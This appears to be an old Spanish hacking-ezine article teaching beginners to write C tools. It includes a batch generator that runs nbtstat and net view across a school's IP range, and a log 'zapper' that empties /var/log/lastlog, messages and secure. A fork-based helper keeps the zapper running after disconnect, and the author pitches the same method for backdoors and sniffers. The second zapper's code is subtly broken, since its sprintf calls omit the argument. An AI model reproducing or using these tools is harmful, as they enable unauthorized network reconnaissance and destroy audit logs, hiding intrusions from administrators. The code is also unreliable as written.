Copy Link
Add to Bookmark
Report

0x0C: Programacion de Herramientas en C

eZine's profile picture
Published in 
Systat Security Team
 · 3 Aug 2023

Este texto esta orientado a aquellos que no tengan tan buena base en C para que puedan crear sus propias herramientas de forma facil y rapida en los casos mas insolitos.

Para empezar veamos el ejemplo tipico, cuando estamos aburridos en nuestro colegio o universidad, la mayoria de los computadores son Win y comparten cosas por netbios. Como saber de quien es cada PC y como ver que comparte cada uno y todo eso. Empezemos de la manera mas facil en el caso de Win, nuestra herramienta sera el TurboC, basta con la version para DOS, si es para Win, mejor.

Analizemos lo basico:

(Si no entiendes algo de los comandos, lee el articulo sobre netbios que escribi en este mismo ezine)

Primero debemos saber el rango de ip, un ejemplo de la vida real (mi colegio) seria 130.0.0.0 con una mascara de red 255.255.255.0 asique va de 130.0.0.1 a 130.0.0.254 y aunque no lo crean hay tantos PCs, yo tampoco lo creia hasta que revise bien la red.Bueno ya sabemos el rango manos a la obra.

Lo que nos gustaria saber de cada PC

nbtstat -a IP 
net view \\IP

Nada mas creo, otra cosa la agregas tu.

Empezemos, tenemos dos opciones, un exe que cree un bat para ejecutar todo esto o que el mismo programa lo ejecute. Hagamos la primera, son muy parecidas.

1) Que cree el bat.

----------------------------------------------------------------------- 
#include <stdio.h>

main()
{
int x;
printf("echo Scanner por z0rbas > info.txt");
for(x=1;x<255;x++)
{
printf("echo - >> info.txt");
printf("echo Escaniando 130.0.0.%d >> info.txt",x);
printf("nbtstat -a 130.0.0.%d >> info.txt",x);
printf("net view \\\\130.0.0.%d >> info.txt",x);
printf("echo - >> info.txt");
printf("echo - >> info.txt");
}
}
------------------------------------------------------------------------

ahora lo compilamos y tenemos scan.exe, lo corremos asi:

C:\TC\BIN> scan > scan.bat 
C:\TC\BIN> scan.bat

Toda la informacion queda en el archivo info.txt

Esto es un ejemplo muy basico, pero dejemos el windows de lado y empezemos con linux.

Primero las funciones importantes:

system()

Esta esta en DOS en la libreria process.h y en linux no es necesario incluirla. Esta funcion se usa asi:

system("dir");

o por ejemplo

char * comando="dir"; 
system(comando);

sprintf()

Esta funcion incluida en stdio.h es una funcion muy util si la combinamos con la funcion de arriba.

sprintf(char * destino,"%s %d y todo lo demas de printf",string,int);

Esto es solo la introduccion, pronto haremos el ejemplo.

OK, hagamos un pequeño zapper (solo pondre 3 ficheros de log, es solo un ejemplo)

------------------------------------------------------------------------- 
#include <stdio.h>

main()
{
/* creamos las variables */

char comando[80];

/* Esto es el principio del comando para dejar los logs en cero */

char * inicio="echo \"\" > ";

/* borramos /var/log/lastlog */
sprintf(comando,"%s /var/log/lastlog",inicio);
system(comando);

/* borramos /var/log/messages */
sprintf(comando,"%s /var/log/messages",inicio);
system(comando);

/* borramos /var/log/secure */
sprintf(comando,"%s /var/log/secure",inicio);
system(comando);

}
-------------------------------------------------------------------------

Ese es nuestro pequeño zapper, la parte mas complicada es cuando queremos que por ejemplo nuestra utilidad siga corriendo siempre. Para eso puedes usar la siguiente funcion que he creado:

#include <signal.h> 

sigue(int rato)
{
int x;
int separacion;
setpgrp();
signal(SIGHUP, SIG_IGN);
separacion=fork();
if(separacion==0)
{
for(x=1;x<=rato;x++)
{
sleep(60);
}
return 0;
}
exit(0);
}

Usemos esa funcion:
para usarla haces esto:

sigue(tiempo a dormir en minutos);

Ejemplo: el mismo zapper, pero que repita el borrado luego de 5 minutos:

------------------------------------------------------------------------- 
#include <stdio.h>
#include <signal.h>

sigue(int rato)
{
int x;
int separacion;
setpgrp();
signal(SIGHUP, SIG_IGN);
separacion=fork();
if(separacion==0)
{
for(x=1;x<=rato;x++)
{
sleep(60);
}
return 0;
}
exit(0);
}


main()
{
/* creamos las variables */

char comando[80];

/* Esto es el principio del comando para dejar los logs en cero */

char * inicio="echo \"\" > ";

sigue(5);

/* borramos /var/log/lastlog */
sprintf(comando,"%s /var/log/lastlog");
system(comando);

/* borramos /var/log/messages */
sprintf(comando,"%s /var/log/messages");
system(comando);

/* borramos /var/log/secure */
sprintf(comando,"%s /var/log/secure");
system(comando);
}

-----------------------------------------------------------------------

Este programa se quedara corriendo en background 5 minutos hasta borrar los logs, si tu te desconectas del servidor, sigue igual. Esa es la ventaja, ya que si programas un backdoor o un sniffer, puedes dejarlo corriendo.

Para el proximo prometo un tutorial de Sockets en C para ampliar esta seccion tambien y comenzar con mejores utilidades. Claro que con ingenio basta esto para hacer utilidades muy poderosas. Solo basta moverte un poco con el lenguaje C y saber esas funciones que recalque arriba, para poder hacer cosas que te puedem servir bastante, aunque no creas que con eso basta, hay que seguir aprendiendo porque la verdad es que esto solo te sirve para crear bastante utilidades, pero de una manera simple, y por lo tanto no tan flexible.

Saludos
z0rbas

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT